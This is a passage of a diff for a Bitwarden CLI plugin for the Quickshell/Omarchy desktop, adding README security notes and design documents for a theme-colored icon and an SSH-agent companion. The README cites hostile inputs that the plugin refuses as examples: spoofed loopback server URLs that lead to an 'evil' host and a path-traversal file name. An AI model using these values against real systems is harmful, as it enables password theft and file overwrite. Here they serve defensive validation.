probed before we start, and anything already answering means the panel uses `bw generate` for that visit instead of letting a stranger's server pick your password. If our own server later dies, any value it had already supplied is discarded rather than left on screen to be copied. **And no request to that port can hold the panel up, fill it, or leave loopback.** Every request runs through a managed child process with curl's config disabled, proxies bypassed, a two-second deadline, and a producer-side 64 KB cap. A request cut short counts as an occupied port, never a free one. + - **Edit Items (`e` key or Edit button)**: Modify titles, credentials, authenticator keys, URLs, notes, and every card and identity field. Enter saves from anywhere in the form, so a long item does not have to be scrolled to the bottom to be committed -- except while a folder, organization or collection picker is open, where Enter belongs to the list being picked from. + - **Delete Items (`x` key or Delete button)**: Delete items with confirmation protection. + - **Saving and deleting do not hold the panel.** Both cost whatever `bw` costs -- a second or two of CLI startup, vault decryption and a round trip -- and the panel used to spend all of it on a frozen form. The form closes as soon as the command is launched and the list shows the item as it will be, its icon replaced by a spinner until the vault answers, at which point the authoritative version takes its place. An item still being saved cannot be edited or deleted, and a second save waits for the first. If the vault refuses one, the list goes straight back to what the vault actually holds and the message offers to reopen what you typed rather than costing you the edit. + +- **Bitwarden Send** (Alt+S or the `󰒗` button): + - Share a secret through a link that expires on its own, so a credential need not live in a chat log. + - Create a text Send with a name, hidden-by-default text, a deletion window (1-31 days), a maximum view count, and an optional password. The access link is copied to your clipboard the moment it is created. + - Lists your existing Sends with how long each has left (`in 3 days`, `expired`), views used against the maximum, and whether a password is set. Copy a link or delete a Send from the row. + - Keyboard: n new, r refresh, x delete the highlighted Send, Enter copy its link, Esc back. + - The Send payload -- which carries the Send password -- is passed to `bw` through the environment, never on the command line. + +- **Attachments**: + - Items that carry files are marked with a `󰏢` paperclip in the list, and the detail view lists each attachment with its name and size. + - The list costs nothing: `bw list items` already returns the attachment metadata with the cipher, so the files are on screen the moment the item opens. Only the bytes need the CLI, and only for the file you ask for. + - **Save** puts a file in your download directory (`xdg-user-dir DOWNLOAD`, falling back to `~/Downloads`), then offers **Open** and **Show in folder** for it. a saves every attachment on the item; they are fetched one at a time rather than starting a `bw` per file. + - Nothing is ever written through whatever already sits at the chosen path: the bytes land in a private staging directory first and the finished file claims its name atomically, so a symlink left in the download folder is stepped around rather than followed, and an existing file is never overwritten -- " (1)", " (2)" and so on go before the extension until the name is free. + - A download is bounded before it starts and while it runs: 512 MB per file, 15 minutes, and a check that the disk has room. If the server omits the size, the preflight reserves for the full 512 MB ceiling rather than treating it as an empty file. A transfer that breaks a limit leaves nothing behind. + - **A file name out of the vault is treated as hostile.** It is decrypted content that is about to become part of a path, so path separators and control characters are replaced rather than stripped, a leading dot or dash is dropped, and the result is quoted on top of that: `../../.bashrc` saves as `bashrc` in your download directory and nowhere else. Tests run the real script against a stub `bw` to prove it. + +- **Folders**: + - Filter by folder from the bottom filter bar: **All Folders**, **No Folder**, or any specific folder. + - Items show their folder inline (`󰉋 Name`) when no folder filter is active. + - Assign a folder when creating or editing an item from an expandable list, including clearing an existing assignment, and create a new folder inline without leaving the form. + +- **Unified Bottom Filter Bar**: + - Three identical buttons centred at the bottom -- **Folders**, **Organizations**, **Types** -- each showing its current selection, so the active filters are readable at a glance without opening anything. + - Opening one drops the window down like a drawer rather than squeezing the item list, with a pinned header naming the group (and its total when it overflows). + - Five options are visible at a time and the rest scroll underneath the pinned header. + - Any action outside the drawer closes it -- selecting an item, searching, copying, syncing, locking or opening another screen -- so it never sits over the results. + - Fully keyboard driven: f folders, o organizations, t types; ↑/↓ move through the options, Enter applies, Esc closes. The cursor starts on the option already active, so Enter changes nothing by accident. + +- **Organizations & Collections**: + - The item form picks an organization from an expandable list, and reveals that organization's **collections** once one is chosen -- Bitwarden files org-owned items into collections rather than folders, and refuses to save one that is in none. + - Collections are a multi-select, since an item can belong to several. A lone collection is pre-selected, and the form says "pick at least one" before the CLI would. + - Choosing **My Vault** for an organization item clears both its organization and its collections. + +- **Multi-Organization & Vault Filtering**: + - Automatically queries and displays organizations you belong to. + - Organization filter bar: **All Vaults**, **My Vault** (Personal items), or specific shared **Organization**. + - Shared items display a prominent `󰓹 Org` tag in the list and detail views. + - Choose destination vault (Personal vs. Organization) when creating or editing items. + +- **Guided First Run — no prerequisites**: + - `omarchy plugin add ... --enable` is the entire install. The widget enables into the bar with nothing else installed, wearing a `+` badge, and opens on its setup screen instead of a login form it cannot service. + - The dependency probe runs ahead of anything that touches `bw`, so a machine without the CLI never lands on a dead end. + - The setup screen watches for the install it launched and moves on to the vault by itself the moment the tools land — no re-check, no restart. + +- **Setup Wizard & In-Panel Settings**: + - Checks the tools Omarchy does not already ship (`bw`, plus fingerprint unlock) in a single probe, marking each required or optional and saying what it is for. Everything else the plugin shells out to comes with Omarchy, so the screen stays one short list rather than a wall of rows that are green on every machine. + - A missing **required** tool opens the wizard automatically. **Install** hands off to `omarchy install app`, which surfaces the install in Omarchy's own floating, centred terminal -- the same window every other app install on the system opens. + - Fingerprint unlock is Omarchy's job end to end: **Set up** runs `omarchy setup security fingerprint`, which detects the reader, installs `libfprint`/`fprintd`/`usbutils`, enrols a finger, verifies it, and writes the PAM stacks. The row is only drawn on a machine with a reader (`omarchy-hw-fingerprint`), and there is no `pkg add fprintd` button, because installing the package alone leaves the row exactly as red as it was. + - Press , or the `󰒓` button for settings, grouped into **General**, **Security** and **SSH Agent**: auto-lock timeout, clipboard clear delay, TOTP auto-copy delay, and every toggle. The section you are reading is named above the list and stays there as you scroll. Maintenance actions sit under their own heading, and the destructive one -- **Remove Plugin Data** -- under a separated **DANGER ZONE**, so the button that clears your keyring entries does not look as safe to press as the one that opens a checklist. A setting whose dependency is missing is shown but inert, with the reason given. + - Changes are written to the plugin's entry in `~/.config/omarchy/shell.json` through `omarchy bar set`, so Omarchy owns the file and the shell hot-reloads the change. Nothing is stored in a second place. + - Reachable from a keybind too: `omarchy-shell io.github.elevate08.qs-bitwarden-cli settings` (or `setup`). + +- **Hardware-Accelerated Performance & Security**: + - Virtualized `ListView` with component delegate recycling for instant rendering of large vaults. + - Asynchronous search debouncing (50ms) for responsive 0ms typing latency. + - **Unlock and password-login startup is prewarmed.** Opening the locked screen, or focusing the password field while logged out, starts the Bitwarden CLI and leaves it waiting on a private mode-`600` FIFO. Submitting the form writes the exact password bytes into that pipe, so most of the CLI's Node and service-container startup has already happened. Closing the panel cancels the waiting process and removes the FIFO. + - **Items load before secondary metadata.** After authentication, the first command fetches only the item list. Folders, organizations and the confirming status refresh begin after those items have been parsed and rendered. Short `Loading items...` and `Syncing...` status text exposes the work without adding another screen. + - **There is no persistent item cache.** Every authenticated cold load is verified through `bw`; decrypted vault items are never written into the plugin directory or another cache. The speedup comes from moving startup off the submit path and removing unrelated commands from the critical item path. + - **Credentials do not reach a command line.** `/proc//cmdline` is world-readable on a default Linux install while `/proc//environ` is not. The session token travels in `BW_SESSION`; direct unlock and email-login passwords move from `BW_PASSWORD` through the private FIFO selected with `--passwordfile`; API key credentials use `BW_CLIENTID` / `BW_CLIENTSECRET`; item, folder, and Send payloads and copied secrets use their own variables. None is interpolated into a command or shell script. The one exception is the two-step login code: `bw` offers no environment option for it, so `--code` puts it in `bw`'s own argv for the length of the login — it is carried in `QSBW_CODE` and expanded there, which at least keeps it out of the wrapping shell. Tests assert that no builder emits `--session` and that no auth command carries a password, client secret or client ID in argv. + - **The custom-server field is checked before the master password is sent to it.** `bw config server` takes whatever it is given, and the next thing down that path is your master password, so a plain `http://` address is refused unless it is loopback -- where there is no wire to listen on, and where a local Vaultwarden or an SSH tunnel to one is a normal way to run this. Any scheme that is not `http` or `https` is refused outright. The loopback exemption is anchored and userinfo is stripped before the host is judged, so `http://localhost.evil.com` and `http://localhost@evil.com` are both refused. Backslashes are refused too: WHATWG clients interpret them as path separators, and otherwise `http://evil.example\@localhost` can look local to a lightweight parser while connecting to `evil.example`. + - Automatic clipboard clearing (`wl-copy --clear`) after a configurable timeout (default: 30s), and immediately whenever the vault locks. Password and TOTP fallback reads are managed and generation-checked, so a command that finishes after a lock cannot put its result on the clipboard. + - Optional session token caching in Linux Secret Service (`secret-tool` / libsecret). + - **Keyring writes cannot race a lock, logout, or cancelled setup.** Session, PIN, and fingerprint-password stores are generation-stamped; a completion from an old vault or an authentication setup form the user left is cleared instead of recreating a credential that was just removed. + - **Locking the vault also discards what was still on its way out of it.** Every read and operation records the vault generation it started under, and the generation moves whenever the vault is locked, logged out of, or unlocked. A late item list, generated password, attachment completion, CRUD result, or newly created Send link is dropped instead of repopulating memory, navigating the locked panel, or copying a secret after the lock. Process output is accepted only after its exit status is known. + - **And a lock forgets it as well as refuses it.** Refusing a stale answer still leaves it in the pipe it came down. Quickshell's `StdioCollector` keeps whatever its process last printed for as long as that process is not started again -- `text` is read-only, there is no `clear()`, and nothing drops the buffer when the panel stops reading it -- so every secret that had ever come back through one was still in the shell after the vault locked: the session key from the handoff file and from the keyring, the master password from the PIN and fingerprint lookups, both halves of a login or unlock, the whole item list with each login's password in its raw object, an item detail, a live TOTP. Clearing the properties those were copied into left the originals sitting behind them. The buffer *is* replaced when the process next starts, so a lock now runs a command that prints nothing through every collector that can hold vault data or a credential; anything still mid-read is come back for once it finishes. + - **Auto-lock counts the time the machine was asleep.** Qt schedules its timers on the monotonic clock, which Linux stops while the machine is suspended, so a fifteen-minute countdown armed just before the lid closed still had fifteen minutes to run when the lid opened -- a vault left overnight came back exactly as open as it was left. The deadline is kept in wall-clock terms as well and polled every thirty seconds, so waking a suspended machine locks the vault rather than resuming the countdown. Between the monotonic timer and the wall clock, whichever notices first does the locking. + - **The vault locks when the screen locks and when the machine suspends.** + - **Settings are validated where they are read, not only where they are written.** Nothing validates `shell.json`, and a bad value there can fail open rather than loudly: a non-numeric minute count reaches QML as `NaN`, lands in an integer property as `0`, and `0` is how "never lock" is spelled, while a count past the documented ceiling overflows the timer's 32-bit interval into a negative number that never fires. Each numeric setting is held to the range in the table below, and anything unreadable falls back to its default instead of to zero. Boolean settings accept only actual JSON booleans, so strings such as `"false"` cannot become truthy by JavaScript coercion. + - **A remembered session does not survive a reboot.** The login keyring is a file on disk that PAM unlocks again at the next login, so a machine powered off with an unlocked vault used to come back unlocked. Two things stop that. The token is written to libsecret's `session` collection, which the secret service holds in memory and destroys with the login session, so there is nothing on disk to come back; and it is stamped with the kernel's boot id, so a token that does survive -- a secret service with no session collection, a keyring restored from a backup -- no longer matches the running boot and is refused and cleared instead of used. Restarting the shell still keeps you unlocked. Powering the machine off does not. + +--- diff --git a/plugins/io.github.elevate08.qs-bitwarden-cli/docs/ideas/colorized-menu-bar-icon.md b/plugins/io.github.elevate08.qs-bitwarden-cli/docs/ideas/colorized-menu-bar-icon.md new file mode 100644 index 0000000..7ae9cf9 --- /dev/null +++ b/plugins/io.github.elevate08.qs-bitwarden-cli/docs/ideas/colorized-menu-bar-icon.md @@ -0,0 +1,66 @@ +# Colorized Menu-Bar Icon + +Status: refined design proposal, implementation approved + +## Problem Statement + +How might we let users who run a colorized desktop theme make the Bitwarden +menu-bar icon feel native to that theme without introducing arbitrary color +configuration or weakening the icon's status indicators? + +## Recommended Direction + +Add a single **Colorize menu-bar icon** toggle to the existing General settings +screen. The setting is off by default, preserving the current appearance. When +enabled, the primary shield glyph uses Omarchy's live `Color.accent` value; +the preference stores only the boolean choice, so changing the desktop theme +automatically changes the icon color. + +Only the primary shield is colorized. The locked-state padlock, missing-tool +badge, and error/setup indicators retain their existing foreground and urgent +colors. This keeps the accent color as personalization while preserving the +meaning of exceptional states. + +The feature fits the existing settings path: schema and manifest metadata, +`omarchy bar set` persistence, live shell reload, and the current settings-row +keyboard interaction. No custom RGB picker or new dependency is needed. + +## Key Assumptions to Validate + +- [ ] Users want the active theme accent specifically, rather than an + independently chosen RGB value — validate with the first implementation and + feedback from users who requested colorization. +- [ ] Keeping urgent/error badges independent is sufficient to preserve state + recognition — verify visually in locked, setup-required, and error states. +- [ ] A boolean toggle is discoverable enough in the existing General section + — confirm the label and description are clear in the settings screenshot or + runtime review. + +## MVP Scope + +- Add `colorizeIcon` as a boolean setting, defaulting to `false`. +- Add a General settings row labeled **Colorize menu-bar icon** with a + description explaining that it follows the active theme accent. +- Bind the primary menu-bar shield color to `Color.accent` when enabled and to + the existing bar foreground when disabled. +- Leave status badges and urgent/error colors unchanged. +- Add model, manifest, persistence, malformed-value, and QML wiring tests. +- Verify that theme changes are reflected after the shell reloads the panel. + +## Not Doing (and Why) + +- Arbitrary color picker or hex input — conflicts with the theme-derived goal + and adds validation and contrast problems. +- Multiple palette choices — the accent is the one semantic theme color users + are most likely asking for; broader palettes can follow if demand appears. +- Per-state color customization — risks making locked and error states harder + to recognize. +- Changing the panel's internal icon, controls, or status badges — the request + is specifically about the menu-bar icon's primary glyph. + +## Open Questions + +- Should the setting be called **Colorize menu-bar icon** or **Use theme accent + for icon**? The former is more approachable; the latter is more explicit. +- Does the active accent maintain adequate contrast across the supported Omarchy + themes, especially in light themes? diff --git a/plugins/io.github.elevate08.qs-bitwarden-cli/docs/ideas/ssh-agent.md b/plugins/io.github.elevate08.qs-bitwarden-cli/docs/ideas/ssh-agent.md new file mode 100644 index 0000000..f25da5d --- /dev/null +++ b/plugins/io.github.elevate08.qs-bitwarden-cli/docs/ideas/ssh-agent.md @@ -0,0 +1,1191 @@ +# SSH Agent Support + +Status: refined design proposal, ready for prerequisite spikes + +Last reviewed: 2026-08-26 (revision 2) + +## Problem Statement + +**How might we let a Quickshell user use SSH keys stored in Bitwarden without +running Bitwarden Desktop, while ensuring that locking the vault immediately +stops new signatures and removes the plugin's usable private-key material?** + +The desired experience is: + +- `ssh`, Git authentication, and Git SSH signing use a stable `SSH_AUTH_SOCK`. +- SSH-agent support is disabled by default and runs no companion process until + the user explicitly opts in. +- When the agent is enabled, unlocking the existing panel makes eligible vault + SSH keys available to SSH clients. +- SSH keys appear in the panel as a public-only item type whether or not the + agent is enabled, and cost no extra vault read. +- Locking the panel immediately denies signing and drops private keys from the + agent. +- A sign request made while locked can raise the panel's unlock UI. +- Every signature is approved in the panel, or covered by a short bounded grant + the user opened deliberately, and identifies the requesting process as + accurately as Linux permits. +- The plugin continues to use `bw` as its Bitwarden integration. It does not + become another Bitwarden client. + +## Decision + +Build an **optional Rust companion binary** that implements the SSH agent and +is supervised by Quickshell. Do not build the earlier Python proxy plus an +inner OpenSSH agent. + +The agent is opt-in and disabled by default. While disabled, the companion is +not started, no socket or FIFO exists, and the list pipeline carries no agent +branch, so no private SSH-key material is projected at all. Public-only SSH-key +browsing remains available and does not enable the agent implicitly. + +Both its source and its compiled Linux artifact live in this repository. The +artifact accepted into the plugin must be reproducibly built and compared +byte-for-byte by CI, then attested by a protected release workflow. Installing +the plugin therefore installs the helper with it; users do not need a Rust +toolchain, an AUR package, or a runtime download. + +Rust is justified here because this process would own a security boundary: +untrusted binary protocol parsing, caller inspection, request correlation, +approval enforcement, and private-key signing. It is not justified by speed. +All ordinary vault operations remain in QML/JavaScript and continue to use the +Bitwarden CLI. + +The companion spawns nothing. It does not run `bw`, it never receives +`BW_SESSION`, and it does not use the Bitwarden SDK, call the Bitwarden service +directly, implement vault decryption, or persist its own vault state. The panel +remains the only component that runs the CLI. + +One `bw list items` per unlock or sync feeds every consumer. The panel's +existing pipeline gains `jq` stages that split the decrypted list in the shell, +before any of it reaches a long-lived process: + +- **to QML, on stdout**: `{"items": [...], "sshKeys": [...]}` -- supported + non-SSH types as complete objects, plus a public-only projection of type 5 + (item ID, name, organization, folder, favorite, re-prompt state, public key, + fingerprint). `sshKey.privateKey` is never in this stream. +- **to the companion, over a private FIFO**, only while the agent is enabled: + the eligible type-5 items projected to item ID, name, private key, public + key, and fingerprint. Items requiring master-password re-prompt are excluded + here. + +This is downstream data minimization, not a claim that `bw` decrypts only one +item type. The short-lived `bw` and `jq` processes still handle the full list; +the security boundary is that private key material never enters QML and +unrelated vault items never enter the long-lived companion. + +This follows the boundary used by Bitwarden Desktop—a native Rust agent with +public-key metadata retained and private keys removed on lock—without copying +its implementation blindly. Bitwarden's current v1 agent and its +`bitwarden-russh` fork are deprecated while a v2 implementation is being +developed, so dependency selection is a prerequisite spike. + +## Architecture + +```text +ssh / git / ssh-keygen -Y sign + │ SSH agent protocol + ▼ +$XDG_RUNTIME_DIR/qs-bitwarden-cli/ssh-agent.sock (0600, in a 0700 dir) + │ + ▼ +Rust companion -- spawns no child processes + ├── parses an allowlisted subset of the agent protocol + ├── owns public metadata and unlocked private keys + ├── signs only after panel approval or a live bounded grant + ├── inspects the Unix peer PID/UID + ├── control NDJSON on stdin/stdout ◀──▶ Quickshell panel + └── key loads on ssh-keys.fifo (0600) ◀── the agent branch below + +Quickshell panel + ├── owns login, unlock, lock, sync, and logout UX + ├── owns BW_SESSION; it never leaves QML and the shell + ├── supervises the companion as a non-detached Process + ├── renders unlock, approval, and grant UI + └── runs ONE pipeline per unlock or sync: + + bw list items + │ + 16 MiB cap + │ + tee ──┬──▶ jq agent filter ───▶ ssh-keys.fifo (agent enabled) + │ + └──▶ jq public split ───▶ stdout ──▶ QML + {"items":[…],"sshKeys":[…]} +``` + +There is one agent socket and one signing authority. Eliminating the inner +`ssh-agent` removes the most serious flaw in the proxy design: another process +running as the same user could connect directly to the inner socket and bypass +the proxy's approval UI. + +The companion starts whenever the feature is enabled, including while the vault +is locked, and regardless of what `SSH_AUTH_SOCK` currently points at. Client +routing is a separate, advisory concern; see "Opt-in and Session Setup". +Quickshell's `Process` can keep stdin open, write control messages, parse +newline-delimited stdout, terminate the child on configuration reload, and clear +most of its inherited environment. The companion must also exit and clear keys +when it sees stdin EOF. + +Because the companion spawns nothing, it has exactly three inputs -- control +NDJSON on stdin, nonce-framed key loads on its FIFO, and agent protocol on its +socket -- and all three are bounded. It needs no `PATH`, no `HOME`, and no vault +credentials of any kind. + +## Responsibility Boundary + +| Concern | Owner | +|---|---| +| Login, unlock, lock, logout, sync | Panel using existing `bw` flows | +| Vault session lifetime | Panel | +| Types 1–4 list and detail UI | Panel; only types 1–4 pass the allowlist | +| SSH key list/detail UI | Panel, public-only type-5 projection from the same read | +| One `bw list items` read per unlock/sync | Panel | +| Splitting that read into QML and agent streams | `jq` stages inside the panel's own pipeline | +| Receiving eligible private SSH keys when enabled | Companion, over its FIFO | +| Agent socket and protocol | Companion | +| Private-key parsing and signing | Companion | +| Caller PID/UID/process display | Companion | +| Approval and unlock UI | Panel | +| Bounded approval grants | Companion, surfaced and revocable in the panel | +| Request timeout and final allow/deny | Companion | + +The panel never sends the session token to the companion, and QML never holds a +private key. The token stays in QML and in the `bw` child's environment, exactly +where it lives today; private-key text goes from `jq` straight into the +companion's FIFO without passing through QML or an environment variable. This is +a strict improvement on the previous draft, which handed a long-lived process +`BW_SESSION` for the life of the session. + +The session token and private-key text still exist transiently in process +memory. “Vault only” therefore means **never intentionally persisted at rest**, +not that the bytes exist nowhere outside Bitwarden. Swap, hibernation, core +dumps, a compromised same-UID process, root, and the kernel are separate threat +boundaries. The widest of those windows is the `bw` child itself, which holds +the entire decrypted vault; see "Security Requirements". + +## Vault and Agent State + +Use an explicit state machine instead of deriving behavior from whether a +socket or key happens to exist. + +| State | Public identities | Private keys | Agent behavior | +|---|---:|---:|---| +| Logged out / account changed | None | None | Return no identities; tell panel login is required | +| Locked, no cache yet | None | None | Return no identities; with unlock-on-demand enabled, ask the panel to unlock first, with a timeout | +| Loading | Previous safe cache only | None until complete | Coalesce requests; fail closed if load fails | +| Unlocked | Present | Present | List identities; every sign needs an approval or a live grant | +| Locked, cache available | Present | None | List public identities; signing asks panel to unlock | +| Disabled / companion stopped | Socket absent | None | Normal “no agent” failure | + +Loading is **eager once per unlock or explicit refresh**, not per signing +request, and it rides the panel's existing list read rather than adding one of +its own. Per-key `bw get item` calls are slow and introduce races. A vault sync +remains owned by the panel; after a successful sync the same single pipeline +refreshes the panel list and, when the agent is enabled, the companion's keys. + +Lock processing is ordered: + +1. Atomically enter a deny-signing state. +2. Cancel all pending approvals and in-flight loads. +3. Have the panel terminate and reap any in-flight `bw`/`jq` load process group + and close its pipes; the companion independently abandons the current load + nonce, so bytes still arriving on the FIFO are discarded. +4. Wait for any signature operation that already crossed its final authorization + point; no new operation may cross that point after step 1. +5. Drop every approval grant, then drop and best-effort-zeroize private keys and + filtered JSON. (The companion holds no session token to drop.) +6. Retain only public key, fingerprint, item ID, and display name. +7. Acknowledge the lock to the panel. After this acknowledgment, no signature + response from the previous epoch may be returned. + +This defines the unavoidable race honestly. A cryptographic primitive that +started immediately before the lock cannot reliably be interrupted halfway +through. The lock linearization point is the atomic deny transition in step 1. + +The panel's own lock is never blocked by the companion. It drops its session, +runs `bw lock`, and reports the vault locked on its own schedule. It waits at +most two seconds for the companion's `locked` acknowledgment, then kills the +child outright -- a companion that cannot confirm a lock is a companion that +must not keep running. The acknowledgment is what lets the panel say "keys +cleared" as well as "vault locked"; it is not a precondition for locking. + +Account changes and logout clear both private and public caches, and drop every +grant. Disabling the feature terminates the companion and removes its socket and +FIFO. + +One transition the previous revision left out: the panel can start into an +already-unlocked vault, because `rememberSession` restores a session key from +the keyring. A freshly started companion is in "locked, no cache yet" while the +panel is unlocked, so the panel must run a key load as part of its first item +read in that case, exactly as it would after an interactive unlock. Startup is +not evidence that the vault is locked. + +## Opt-in and Session Setup + +Add an `sshAgentEnabled` boolean setting with a default of `false`, alongside +`sshAgentUnlockOnDemand` (default `false`) and `sshAgentApprovalWindowSec` +(default `120`). Treat setup as an explicit state machine rather than assuming +that a checked box means the agent is usable: + +| Setup state | Companion | Meaning | +|---|---|---| +| Disabled | Stopped | No socket, no FIFO, no agent branch in the list pipeline | +| Enabled | Running | The helper passed its handshake and is serving its socket | +| Error | Stopped or backing off | Missing/incompatible helper or bounded crash loop; ordinary vault UI remains usable | + +Client routing is deliberately **not** a setup state. The previous draft had a +"setup required" state that kept the companion stopped until `SSH_AUTH_SOCK` +looked right, which is both unnecessary and wrong. + +The companion always binds the deterministic path +`$XDG_RUNTIME_DIR/qs-bitwarden-cli/ssh-agent.sock`; it does not depend on +`SSH_AUTH_SOCK` to discover its own endpoint. If `XDG_RUNTIME_DIR` is unset the +feature refuses to start rather than falling back to a path another user could +have prepared, matching how the existing session handoff already behaves. + +`SSH_AUTH_SOCK` matters only to *clients*: `ssh`, `scp`, `sftp`, `ssh-add`, +`ssh-keygen -Y sign`, Git through `ssh`, and anything that spawns them -- +editors, IDEs, Ansible, build scripts. Neither the panel nor the companion ever +reads it. That is why it cannot gate startup, and why the panel's own reading of +it is a hint rather than a verdict: the panel sees the *graphical session's* +environment, while a `~/.bashrc` export, a `systemd --user` unit, a TTY login, +or an incoming SSH session can each differ and are all invisible to it. + +So report it as advisory diagnostics with three outcomes -- *matches*, *points +elsewhere* (naming the apparent owner), or *unset* -- and also print the check +the user can run in the terminal they actually use: + +```sh +echo "$SSH_AUTH_SOCK"; ssh-add -L +``` + +Omarchy runs the graphical session through UWSM, so the assisted setup should +offer to create exactly one plugin-owned file: + +```sh +# ~/.config/uwsm/env.d/50-qs-bitwarden-ssh-agent +export SSH_AUTH_SOCK="${XDG_RUNTIME_DIR}/qs-bitwarden-cli/ssh-agent.sock" +``` + +The normal plugin installer only clones and enables plugins; it does not run +install hooks. The setup action therefore happens only after an explicit user +choice in the panel. It must create the parent safely, write atomically, refuse +to follow a symlink, and refuse to replace unexpected contents at the managed +path. If the current session points at Bitwarden Desktop, 1Password, GPG Agent, +OpenSSH, or another socket, show the conflict and require confirmation rather +than silently changing the primary agent. + +UWSM applies the fragment at the next graphical login, and only to the graphical +session: a TTY login, a `systemd --user` unit that started earlier, and an +incoming SSH session do not inherit it. After writing it, show that +logout/login is required; do not claim that restarting only Quickshell can +change the environment of applications that are already running. Once the new +session starts, the panel reports whether the inherited value matches -- as a +diagnostic, never as a gate on starting the companion. + +Turning the setting off immediately performs the same deny/cancel/zeroize +shutdown discipline as a lock, closes and unlinks the socket, and terminates +the companion. If the plugin created the exact managed fragment, disabling +removes it; unexpected or manually managed configuration is left untouched +with cleanup instructions. Existing processes retain their old environment +until logout, but the agent itself is already stopped. Removing the plugin +cannot run an uninstall hook, so the documentation must also explain manual +fragment removal. + +### Unlock on demand is opt-in, and must start at identity listing + +`ssh` asks the agent for identities on **every** connection, including ones that +will authenticate with an on-disk key and have nothing to do with the vault. If +identity listing could raise the unlock UI, the first `ssh` after every login +would open the panel whether or not a vault key was involved. + +The default is therefore: while locked with no cache, return an empty identity +list and record a non-secret "vault locked" status. The user unlocks the panel +once, the public-key cache is populated, and from then on identity listing +answers while locked and only a *sign* request raises the unlock UI -- which is +the right moment, because by then a specific vault key has been selected. + +`sshAgentUnlockOnDemand` (default `false`) restores the eager behavior for users +who want it. When it is on, unlock-on-demand must begin at +`SSH_AGENTC_REQUEST_IDENTITIES` rather than at the sign request: with no cache +there are no identities to offer, so no sign request will ever arrive. That +asymmetry is exactly why this is a setting and not the default. The request +emits `unlock_required`, waits for one bounded unlock attempt, loads keys, and +then answers the original request; repeated denials or timeouts enter the +cooldown described under "Quickshell responsiveness and lifecycle". + +After at least one successful load, public identities are returned while locked +in both modes. Public keys are not secret, and this avoids unnecessary unlock +prompts. The subsequent sign request is still denied until unlock and explicit +approval or a live grant. + +## Panel-to-Companion Contract + +Use one JSON object per line over stdin/stdout. Every message includes +`"v": 1` and `"type"`. The protocol is private to this plugin but versioned so +an old bundled binary fails clearly after a plugin update. + +Panel to companion: + +```json +{"v":1,"type":"hello"} +{"v":1,"type":"key_load_begin","epoch":7,"loadId":"<128-bit random hex>"} +{"v":1,"type":"key_load_end","epoch":7,"status":"ok"} +{"v":1,"type":"vault_locked","epoch":7} +{"v":1,"type":"vault_logged_out"} +{"v":1,"type":"approve","requestId":42,"grantSeconds":0} +{"v":1,"type":"deny","requestId":42} +{"v":1,"type":"unlock_cancelled","requestId":41,"reason":"user-cancelled"} +{"v":1,"type":"revoke_grants"} +{"v":1,"type":"shutdown"} +``` + +No message carries a session token, because the companion never runs `bw`. +`unlock_cancelled` exists because the previous draft had no way to tell the +companion that the user dismissed the unlock dialog: the pending request simply +burned its timeout. + +Companion to panel, with no secret fields: + +```json +{"v":1,"type":"ready","socketPath":"...","fifoPath":"...","agentVersion":"..."} +{"v":1,"type":"unlock_required","requestId":41,"reason":"list-identities"} +{"v":1,"type":"approval_required","requestId":42,"keyId":"...","keyName":"Work","fingerprint":"SHA256:...","pid":1234,"processName":"ssh","processPath":"/usr/bin/ssh","operation":"ssh-sign","namespace":null,"forwarded":false,"grantOffered":true} +{"v":1,"type":"keys_loaded","epoch":7,"keyCount":2,"skipped":[{"itemId":"...","code":"UNSUPPORTED_KEY_TYPE"}]} +{"v":1,"type":"locked","epoch":7} +{"v":1,"type":"grants_changed","grants":[{"grantId":9,"keyId":"...","keyName":"Work","pid":1234,"processName":"ssh","expiresInSec":95}]} +{"v":1,"type":"state_changed","state":"locked-cached","keyCount":2} +{"v":1,"type":"error","code":"KEY_LOAD_FAILED","message":"Could not load SSH keys","recoverable":true} +``` + +`keys_loaded` and `locked` are the two acknowledgments the panel may wait on, +each with its own bounded wait. `locked` is the one described in "Vault and +Agent State": two seconds, then the child is killed. `keys_loaded` is what +releases an SSH request that triggered the unlock; the panel does not need it to +render its own list. + +Contract rules: + +- No control message carries a session token or private key material. The only + path for private keys is the FIFO, framed by `key_load_begin` and + `key_load_end` for one epoch. +- `loadId` is a fresh 128-bit random value per load, generated by the panel, + never logged, and delivered only over the companion's private stdin pipe. The + FIFO payload must open with the matching `loadId` or the load fails closed. + That nonce is what stops another same-UID process from writing its own key set + into the FIFO during an open window -- it cannot guess a value it cannot read. +- A second payload inside one window, a payload with a stale or absent + `loadId`, or a `key_load_end` whose `status` is not `ok` invalidates the whole + candidate load. +- `approve` may carry `grantSeconds`. `0` approves exactly one signature; a + non-zero value, capped by `sshAgentApprovalWindowSec`, additionally opens a + grant. See "Bounded approval grants". +- Unknown versions, message types, fields with wrong types, and overlong lines + fail closed. Start with a 64 KiB control-message ceiling. +- Agent frames have a separate hard ceiling, initially 256 KiB, checked before + allocation. +- Request IDs are unique for the process lifetime. Late approvals, duplicate + responses, and approvals after lock are rejected. +- Only one unlock flow runs at a time. Show one approval prompt at a time and + allow at most four pending sign requests including the visible request. + Reject overflow, give each request a deadline, and cancel it when its client + disconnects. **The deadline is 120 seconds, not the 30 originally specified + here** -- see `docs/decisions/0003-request-deadline.md`. Thirty seconds + expired under a user who was doing no more than reading the prompt, and each + expiry counted as a refusal, so a tight deadline escalated into the denial + cooldown switching signing off entirely. +- A timeout returns only the normal SSH-agent failure and leaves a non-secret + status in the panel. Do not create a desktop notification in v1; repeated + local requests must not create notification spam or persistent history. +- Errors exposed to QML are stable codes plus sanitized user-facing messages. + Raw key parser errors and CLI output stay out of stdout and normal logs. + +### Bounded approval grants + +Approval strictly per signature is unusable for the workflows this feature +exists to serve. A `git rebase` over twenty commits with `gpg.format=ssh` is +twenty modal prompts; a fetch followed by a push is two. Deferring grants until +"real workflows make this unusable" defers past the first day of real use, so +they are in v1. + +> **Superseded by `docs/decisions/0002-grant-scope.md`.** The process scoping +> described in the next paragraph was implemented and then relaxed to *program* +> scoping, because live testing showed it did not achieve the very thing this +> section opens by arguing for. Git spawns a fresh `ssh-keygen -Y sign` for +> every commit it signs, so each has a different PID and start time and no +> PID-scoped grant ever matched: a twenty-commit rebase prompted twenty times +> whether a grant had been taken or not. Grants now match on the peer UID, the +> executable path, and the key. The ADR records what that widens and why it was +> judged acceptable. The paragraph below is kept as the original reasoning. + +A grant is scoped to **one key and one live client process**. It is keyed on the +peer PID *together with* that PID's start time from `/proc//stat`, so PID +reuse cannot inherit a grant, and on the executable path captured at grant time, +so a re-`exec` invalidates it. + +- The approval prompt offers *Approve once* and *Approve for this program* + (originally *for this process*; see the note above). + 